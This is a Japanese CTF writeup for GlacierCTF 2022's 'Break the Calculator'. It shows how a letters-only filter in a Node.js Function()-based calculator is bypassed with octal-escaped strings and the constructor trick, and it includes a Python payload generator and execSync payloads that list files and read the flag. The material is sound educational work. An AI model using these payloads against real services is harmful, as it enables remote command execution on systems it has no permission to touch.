📑

GlacierCTF 2022 Break the Calculator writeup

2022/11/26に公開約8,300字

書きます

問題文

原文:
Wrote a calculator in JavaScript as beginner project. It worked so well, that I decided to make it public available.

要約:JavaScriptの初級プロジェクトとして電卓を作ったところ、いい感じだったので公開してみました。
接続方法:nc pwn.glacierctf.com 13375
配布ファイル:break_the_calculator.zip

開示されるサーバの状態

ディレクトリ構造

Dockerfile, chall/app.js, chall/flag.txtの3つが配布されました。

$ unzip break_the_calculator.zip -d break_the_calculator
Archive:  break_the_calculator.zip
   creating: break_the_calculator/chall/
  inflating: break_the_calculator/chall/app.js  
  inflating: break_the_calculator/chall/flag.txt  
  inflating: break_the_calculator/Dockerfile
$ cd break_the_calculator
$ tree -a break_the_calculator
break_the_calculator
├── Dockerfile
└── chall
    ├── app.js
    └── flag.txt

1 directory, 3 files

Dockerfile

Dockerfile
FROM node:16
EXPOSE 1337

RUN export DEBIAN_FRONTEND=noninteractive && \
    apt-get -y update && \
    apt-get -y install socat coreutils

COPY chall/ /app

RUN chmod 555 /app/app.js && \
    chmod 444 /app/flag.txt

RUN useradd -ms /bin/sh app
USER app

CMD socat -T 30 \
    TCP-LISTEN:1337,nodelay,reuseaddr,fork \
    EXEC:"node /app/app.js"

chall/app.js

app.js
const readline = require('readline');

const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
    terminal: false
});


function calculate(formula) {
    const parsedFormula = formula.replace(/\s/g, "");
    if(parsedFormula.match(/^[^a-zA-Z\s]*$/)) {
        const result = Function('return ' + parsedFormula)();
        console.log("Result: " + result + " - GoodBye");
    } else {
        console.log("Don't hack here - GoodBye!");
    }
    rl.close();
    process.exit(0)
}

try {
    console.log("Welcome to my Calculator! Please type in formula:")
    rl.on('line', (line) => {
        calculate(line);
    });
} catch(e) {}

動作は次のようなものでした

$ node app.js
Welcome to my Calculator! Please type in formula:
1+5 * 10
Result: 51 - GoodBye
$ node app.js
Welcome to my Calculator! Please type in formula:
Hello
Don't hack here - GoodBye!

数式を送信した場合はその計算結果が表示され、そうでない場合(アルファベットを含む場合)は専用のメッセージが出力されるようです。

chall/flag.txt(ダミー)

flag.txt(ダミー)
glacierctf{dummyFlag}

サーバー内のflag.txtの内容を取得するのが目的のようです。

脆弱性を探す

軽く確認したところ、Dockerfileとflag.txtはおかしいところがなかったため、app.jsを確認します。特にcalculate関数が怪しい(pwnは自前実装されてる関数に脆弱性がある場合が多いため(たぶん))ので、そこを重点的に見ます。
以下、app.js内のcalculateにコメントを付けたものです。

app_calculate.js
function calculate(formula) {
    const parsedFormula = formula.replace(/\s/g, "");       // 入力から空白をすべて削除
    if(parsedFormula.match(/^[^a-zA-Z\s]*$/)) {             // 入力にアルファベットが含まれていないか
        const result = Function('return ' + parsedFormula)();   // 数式の通りに計算する
        console.log("Result: " + result + " - GoodBye");        // 結果を出力
    } else {
        console.log("Don't hack here - GoodBye!");              // 入力にアルファベットが含まれている場合の出力
    }
    /* 終了 */
    rl.close();
    process.exit(0)
}

ここで、

const result = Function('return ' + parsedFormula)();   // 数式の通りに計算する

に注目してみると、Functionで実行する命令に入力された文字列を使用していることがわかります。よって、この部分で任意コード実行が可能であると推測できます。ここで、app.js内の他の部分を確認しても攻撃に使用できるものがなく、この部分が攻撃の緒として最適であるとわかります。

攻撃方法

今回、任意コード実行の障壁となるのは、入力(=実行したいコード)にアルファベットが含まれていてはいけないということです。つまり、実行したいコードを記号や数字のみ(実際はひらがな等も使用できますが、このwriteupでは使用していません)で構築する必要があるということです。
ここで、JavaScriptでは'\101'のようにすることで、8進数で文字を表すことができます(\101は10進数で65で、Aの文字コードです)。これを使うと、アルファベットを直接入力に使用せずにアルファベットを入力に使用することができます(混乱する文!)。
実際、

$ node app.js
Welcome to my Calculator! Please type in formula:
'\110\145\154\154\157'
Result: Hello - GoodBye

となります。ただし、8進数での入力はstring型である(クォートを付けないとアルファベットとして解釈されないです!)ため、例えばconsole.log("AAAA")をそのまま8進数表記したものを入力した場合、出力は次のようになってしまいます。

$ node app.js 
Welcome to my Calculator! Please type in formula:
'\143\157\156\163\157\154\145\56\154\157\147\50\42\101\101\101\101\42\51'
Result: console.log("AAAA") - GoodBye

原因は、入力結果が'console.log("AAAA")'となってしまうためです。
これを解決するために使うのは、

(0)["constructor"]["constructor"](string型のコード)()

というコードです。これは無名関数としてstring型のコードを実行することができるというものです。このコードは、アルファベットを使用する場所がすべてstring型であり、今回の制限下ではとても都合がいいです。
例えば

(0)["constructor"]["constructor"]("console.log("AAAA")")()

を8進数表記したものを入力すると、

$ node app.js
Welcome to my Calculator! Please type in formula:
(0)["\143\157\156\163\164\162\165\143\164\157\162"]["\143\157\156\163\164\162\165\143\164\157\162"]('\143\157\156\163\157\154\145\56\154\157\147\50\42\101\101\101\101\42\51')()
AAAA
Result: undefined - GoodBye

となり、console.log("AAAA")が実行されAAAAと出力されたのが確認できます。(Resultがundefinedなのは、返り値がないからですね!!!)
あとは

console.log(process.mainModule.require('child_process').execSync(string型のコマンド).toString());

というワンライナーをコード部分に使用すれば完成です!これについての解説はないです!(は?)(汎用的な部分なので、今回は解説を省略させていただきます)

攻撃

まず、ペイロード作成用のプログラムをPython3で作成しました。

gen_payload.py
CONSTRUCTOR = '"\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162"'
payload = "(0)["+CONSTRUCTOR+"]["+CONSTRUCTOR+"]('"

code = input()
oct_code = ""
for i in code:
	oct_code += ("\\"+oct(ord(i))[2:])
print(payload+oct_code+"')()")

標準入力からJavaScriptのコードを入力するとペイロードが出力されます。
※本来ならコマンド部分のみの入力で済むようにした方がいいと思いますが、問題を解く際にapp.jsの動作の検証用としても使用していたため、このようなプログラムになっています。

ls -laを実行するペイロードの作成

$ python gen_payload.py
console.log(process.mainModule.require('child_process').execSync("ls -la").toString());
(0)["\143\157\156\163\164\162\165\143\164\157\162"]["\143\157\156\163\164\162\165\143\164\157\162"]('\143\157\156\163\157\154\145\56\154\157\147\50\160\162\157\143\145\163\163\56\155\141\151\156\115\157\144\165\154\145\56\162\145\161\165\151\162\145\50\47\143\150\151\154\144\137\160\162\157\143\145\163\163\47\51\56\145\170\145\143\123\171\156\143\50\42\154\163\40\55\154\141\42\51\56\164\157\123\164\162\151\156\147\50\51\51\73')()

ncを使ってサーバーに送信します。

$ alias ncpwn="nc pwn.glacierctf.com 13375" #長いのでエイリアスを作成
$ ncpwn
Welcome to my Calculator! Please type in formula:
(0)["\143\157\156\163\164\162\165\143\164\157\162"]["\143\157\156\163\164\162\165\143\164\157\162"]('\143\157\156\163\157\154\145\56\154\157\147\50\160\162\157\143\145\163\163\56\155\141\151\156\115\157\144\165\154\145\56\162\145\161\165\151\162\145\50\47\143\150\151\154\144\137\160\162\157\143\145\163\163\47\51\56\145\170\145\143\123\171\156\143\50\42\154\163\40\55\154\141\42\51\56\164\157\123\164\162\151\156\147\50\51\51\73')()
total 76
drwxr-xr-x   1 root root 4096 Nov 26 09:52 .
drwxr-xr-x   1 root root 4096 Nov 26 09:52 ..
drwxr-xr-x   1 root root 4096 Nov 25 19:27 app
drwxr-xr-x   1 root root 4096 Nov 15 10:26 bin
drwxr-xr-x   2 root root 4096 Sep  3 12:00 boot
drwxr-xr-x   5 root root  360 Nov 26 09:52 dev
drwxr-xr-x   1 root root 4096 Nov 26 09:52 etc
drwxr-xr-x   1 root root 4096 Nov 15 13:19 home
drwxr-xr-x   1 root root 4096 Nov 15 10:27 lib
drwxr-xr-x   2 root root 4096 Nov 14 00:00 lib64
drwxr-xr-x   2 root root 4096 Nov 14 00:00 media
drwxr-xr-x   2 root root 4096 Nov 14 00:00 mnt
drwxr-xr-x   1 root root 4096 Nov 15 13:24 opt
dr-xr-xr-x 365 root root    0 Nov 26 09:52 proc
drwx------   1 root root 4096 Nov 15 13:24 root
drwxr-xr-x   1 root root 4096 Nov 26 09:52 run
drwxr-xr-x   1 root root 4096 Nov 15 10:25 sbin
drwxr-xr-x   2 root root 4096 Nov 14 00:00 srv
dr-xr-xr-x  12 root root    0 Nov 25 22:38 sys
drwxrwxrwt   1 root root 4096 Nov 25 19:27 tmp
drwxr-xr-x   1 root root 4096 Nov 14 00:00 usr
drwxr-xr-x   1 root root 4096 Nov 14 00:00 var

Result: undefined - GoodBye

しっかりとls -laが実行されました。同じディレクトリにflag.txtがなくてちょっとびっくりしましたが、カレントディレクトリはルートディレクトリのようです。appが怪しいと思いながらDockerfileを見てみると、

Dockerfileからの抜粋
RUN chmod 555 /app/app.js && \
    chmod 444 /app/flag.txt

やっぱりルートディレクトリ直下のappディレクトリにflag.txtがあるようです。なので、

$ echo "console.log(process.mainModule.require('child_process').execSync(\"cat /app/flag.txt\").toString());" | python gen_payload.py | ncpwn
Welcome to my Calculator! Please type in formula:
glacierctf{JaVa$cR!pT_!S_a_Gr3At_Es0t3r!c_LaNgUaG3}

Result: undefined - GoodBye

と、cat /app/flag.txtをすることでflagが取得できました!

flag.txt(ほんもの)
glacierctf{JaVa$cR!pT_!S_a_Gr3At_Es0t3r!c_LaNgUaG3}

参考にさせていただいた記事

記号だけのJavaScriptプログラミングの基本原理
記号だけのJavaScriptプログラミングの原理 その2
CTFのWebセキュリティにおけるJavaScript,nodejsまとめ(Prototype pollution, 難読化)

Discussion

ログインするとコメントできます